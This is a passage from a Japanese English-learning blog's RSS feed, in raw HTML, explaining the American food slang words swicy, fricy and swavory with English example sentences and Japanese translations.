		<category><![CDATA[濃厚な]]></category>
		<category><![CDATA[焦げた]]></category>
		<category><![CDATA[燻製のような香り]]></category>
		<category><![CDATA[爽やかな酸っぱさ]]></category>
		<category><![CDATA[甘い]]></category>
		<category><![CDATA[生臭い]]></category>
		<category><![CDATA[肉汁滴るような]]></category>
		<category><![CDATA[脂っこい]]></category>
		<category><![CDATA[若い世代]]></category>
		<category><![CDATA[苦い]]></category>
		<category><![CDATA[英語]]></category>
		<category><![CDATA[表現]]></category>
		<category><![CDATA[辛い]]></category>
		<category><![CDATA[造語]]></category>
		<category><![CDATA[酸っぱい]]></category>
		<category><![CDATA[風味]]></category>
		<category><![CDATA[食トレンド]]></category>
		<category><![CDATA[食レポ]]></category>
		<category><![CDATA[香ばしい]]></category>
		<category><![CDATA[魚くさい]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=6477</guid>

					<description><![CDATA[<p>今回は、2023年ごろからアメリカの食品業界でトレ <a class="mh-excerpt-more" href="https://ffeng.jp/2026/03/04/swicy_fricy_slang/" title="SWICYやFRICYって知ってる？最新フード系スラング">[...]</a></p>
The post <a href="https://ffeng.jp/2026/03/04/swicy_fricy_slang/">SWICYやFRICYって知ってる？最新フード系スラング</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/02/11/valentinesday/' title='英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/07/21/restaurant3/' title='ホリデーシーズン目前：旅先で使えるボキャブラリー 〜レストランやバーで大活躍のボキャブラリー2〜'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/o0678038113821508829.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使えるボキャブラリー 〜レストランやバーで大活躍のボキャブラリー2〜</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/03/05/juicy/' title='Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/VtEsnIS3SNc?si=oHqkMdAMt9i-sV1t" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>今回は、2023年ごろからアメリカの食品業界で<strong>トレンドワード</strong>として注目されている<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swicy（スワイシー）</mark></strong>や、2026年に流行りそうな<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fricy（フライシー）</mark></strong>などのフード系造語スラングをご紹介します。</p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<h2 class="wp-block-heading">フードトレンド系スラングが増えているのは何故？</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="387" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?resize=678%2C387&#038;ssl=1" alt="" class="wp-image-6469" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?w=1575&amp;ssl=1 1575w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?resize=300%2C171&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?resize=1024%2C585&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?resize=768%2C439&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?resize=1536%2C878&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/acadf2c100e9464dcbe3cc4cc94e641f.png?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>2024年ごろからアメリカでは特に<strong>Z世代</strong>をはじめとする若い世代を中心にスパイシーフードが大人気。人種の多様化や、海外の食文化への関心の高まりも相まって、その人気は右肩上がりです。そうした背景から、風味などのトレンドに関する新たなフード系の造語スラングが登場しています。例えば、<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">sweet（甘い）</mark></strong>と<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">spicy（辛い）</mark></strong>を掛け合わせた<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swicy</mark></strong>のように、単語や味覚を組み合わせて新しい味覚を表現するスラングは、食トレンド系ワードを使用した投稿がSNSで人気です。</p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<div class="wp-block-vk-blocks-border-box vk_borderBox vk_borderBox-background-transparent has-text-color has-pale-cyan-blue-color is-style-vk_borderBox-style-solid-round-tit-tab"><div class="vk_borderBox_title_container has-background has-pale-cyan-blue-background-color"><i class=""></i><h4 class="vk_borderBox_title"><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="star" class="svg-inline--fa fa-star " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path></svg></span>参考ウェブサイト<span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="star" class="svg-inline--fa fa-star " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path></svg></span></h4></div><div class="vk_borderBox_body">
<p><a href="https://www.circana.com/post/hot-sauce-market-trends/" target="_blank" rel="noopener" title=""><span style="text-decoration: underline;">Hot Sauce Market Trends: How Gen Z is Redefining Hot Sauce Culture</span></a><br><a href="https://www.today.com/food/trends/what-does-swicy-mean-rcna101010" title="Why is everything suddenly ‘swicy’? Brands embrace the sweet-heat trend"><span style="text-decoration: underline;">Why is everything suddenly ‘swicy’? Brands embrace the sweet-heat trend</span></a></p>
</div></div>



<p></p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<h2 class="wp-block-heading">SWICY（スワイシー）ってどういう意味？</h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="385" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/csm_FS_Editorial-SWICY_HEADER_fd9818cbc6.png?resize=678%2C385&#038;ssl=1" alt="" class="wp-image-6481" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/csm_FS_Editorial-SWICY_HEADER_fd9818cbc6.png?resize=1024%2C581&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/csm_FS_Editorial-SWICY_HEADER_fd9818cbc6.png?resize=300%2C170&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/csm_FS_Editorial-SWICY_HEADER_fd9818cbc6.png?resize=768%2C436&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/csm_FS_Editorial-SWICY_HEADER_fd9818cbc6.png?w=1068&amp;ssl=1 1068w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Sweet（甘い）＋spicy（辛い）</mark></strong>を掛け合わせた造語で、甘辛い味を意味するフードスラング。<strong>唐辛子のようなスパイスの効いたレモネードやコーラなどのドリンクや</strong>、<strong>甘辛いチキン</strong>、<strong>hot honey（ホットハニー。唐辛子入りの蜂蜜）</strong>、<strong> chile chocolate（唐辛子入りのチョコレート）</strong>などが人気。<br>単に甘いだけでなく、辛さが加わることで生まれる意外性を求める消費傾向が背景にあります。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L32.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff6db"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff6db transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I love the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swicy</mark> flavor of this chicken!</strong><br>この甘辛いチキン大好き！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R12.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Swicy </mark>is definitely the hottest food trend this year.</strong><br>スワイシーは間違いなく今年のいちばん熱いフードトレンドだよね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L9.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3e6ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f3e6ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>She has a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swicy </mark>personality sweet on the outside, but　way too fierce on the inside.</strong><br>彼女はスワイシーな性格なんだ。外見は可愛いけど、中身はめちゃ強気</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R24.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefe4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffefe4"></span><span class="vk_balloon_content_after "></span>
<p><strong>Try our new <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Swicy </mark>Mango Margarita!</strong><br>新しいスワイシー マンゴー マルガリータを飲んでみて！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L36.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0f0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff0f0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m addicted to hot honey, it makes everything taste so <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swicy</mark>.</strong><br>ホットハニーにハマってる、何でもスワイシーな味にしてくれるんだよね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="width:41px;height:auto"/></figure>



<h2 class="wp-block-heading">2026年に流行りそうなフードスラングはなに？</h2>



<h3 class="wp-block-heading">FRICY（フライシー）</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="399" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/fricy.jpg?resize=678%2C399&#038;ssl=1" alt="" class="wp-image-6492" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/fricy.jpg?resize=1024%2C603&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/fricy.jpg?resize=300%2C177&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/fricy.jpg?resize=768%2C452&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/fricy.jpg?w=1500&amp;ssl=1 1500w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/fricy.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Fruty(フルーツのような風味）＋ spicy（スパイシーな刺激）</mark></strong>が掛け合わせた、甘辛く、鮮やかで刺激的な味わいを表す2026年注目の最注目造語スラングです。<br><strong>フルーツにチリパウダーをかけたフルーツサラダ</strong>、<strong>Yuzu Kosho（柚子胡椒）</strong>、<strong>chamoy（メキシコの甘酸っぱくて辛いチャモイソース）</strong>、<strong>spicy margarita（スパイシー マルガリータ）</strong>などが人気。2026年、<strong>swicy</strong>人気に、さらに冒険的な組み合わせが好まれる傾向になると予想されています。</p>



<p></p>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L17.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff3ea"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff3ea transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I love this mango salad — it’s so perfectly <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fricy</mark>!</strong><br>このマンゴーサラダ大好き、すごく絶妙にフルーティー＆スパイシーだね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R26.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>This hot sauce is a game-changer. It&#8217;s totally &#8216;<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fricy</mark><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">&#8216;.</mark></strong><br>このチリソースは革命的。ヤバいくらいにフライシーだね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L39.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e8fff6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e8fff6 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The combination of lime and chili creates a vibrant,<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> fricy</mark> flavour profile.</strong><br>ライムと唐辛子が新鮮なフライシーさを生み出してるんだよねー</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R34.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5d9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff5d9"></span><span class="vk_balloon_content_after "></span>
<p><strong>Experience a new trend in 2026 <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">FRICY </mark>— where fruits meet a spicy kick!</strong><br>2026年の新トレンドを食べてみよう。フライシー。それはフルーツとスパイシーな刺激の遭遇！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L7.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e6f6ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e6f6ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This tequila drink is quite &#8216;<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fricy</mark>&#8216;, with pineapple and jalapeño.</strong><br>このテキーラはパイナップルとハラペーニョが入っていて、かなりフライシーだね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="128" height="128" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=128%2C128&#038;ssl=1" alt="" class="wp-image-5211" style="width:20px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?w=128&amp;ssl=1 128w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/wp_icon_batch7_04.png?resize=65%2C65&amp;ssl=1 65w" sizes="auto, (max-width: 128px) 100vw, 128px" /></figure>



<h3 class="wp-block-heading">SWAVORY（スウェイヴォリー）</h3>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/original.jpg?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-6494" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/original.jpg?w=772&amp;ssl=1 772w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/original.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/original.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/original.jpg?resize=678%2C381&amp;ssl=1 678w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>結構前から使われているスラングですが、<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"><strong>swavory（スウェイヴォリー）</strong></mark>も2026年に流行りそうな味覚トレンド。<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Sweet（甘い）+ savory（風味豊か・塩気のある）</mark></strong>を掛け合わせた造語です。食トレンドの甘塩っぱい味の進化系。<strong>塩キャラメル</strong>、<strong>味噌チョコ</strong>、<strong>ベーコンメープル</strong>などに使用されます。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L16.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe8d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe8d8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Prosciutto and melon is a classic <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swavory</mark> starter.</strong><br>生ハムとメロンは、典型的な甘塩っぱい前菜だわ</p>
</div></div></div>



<p class="has-text-align-right"></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R5.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>This dessert has a hint of soy sauce, giving it a unique <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swavory</mark> flavor.</strong><br>このデザートは醤油風味のユニークな甘塩っぱい味わいだね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L27.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fefddf"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fefddf transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;m craving something <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swavory </mark>right now!</strong><br>今、何か甘塩っぱいものがものすごーーーく食べたい！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R31.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff8f9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff8f9"></span><span class="vk_balloon_content_after "></span>
<p><strong>This restaurant offers many <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">swavory </mark>dishes like I like.</strong><br>このレストランは、私好みの山ほど甘塩っぱい料理を出してくれるのよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L22.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fdefea"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fdefea transparent transparent"></span><span class="vk_balloon_content_after "></span>
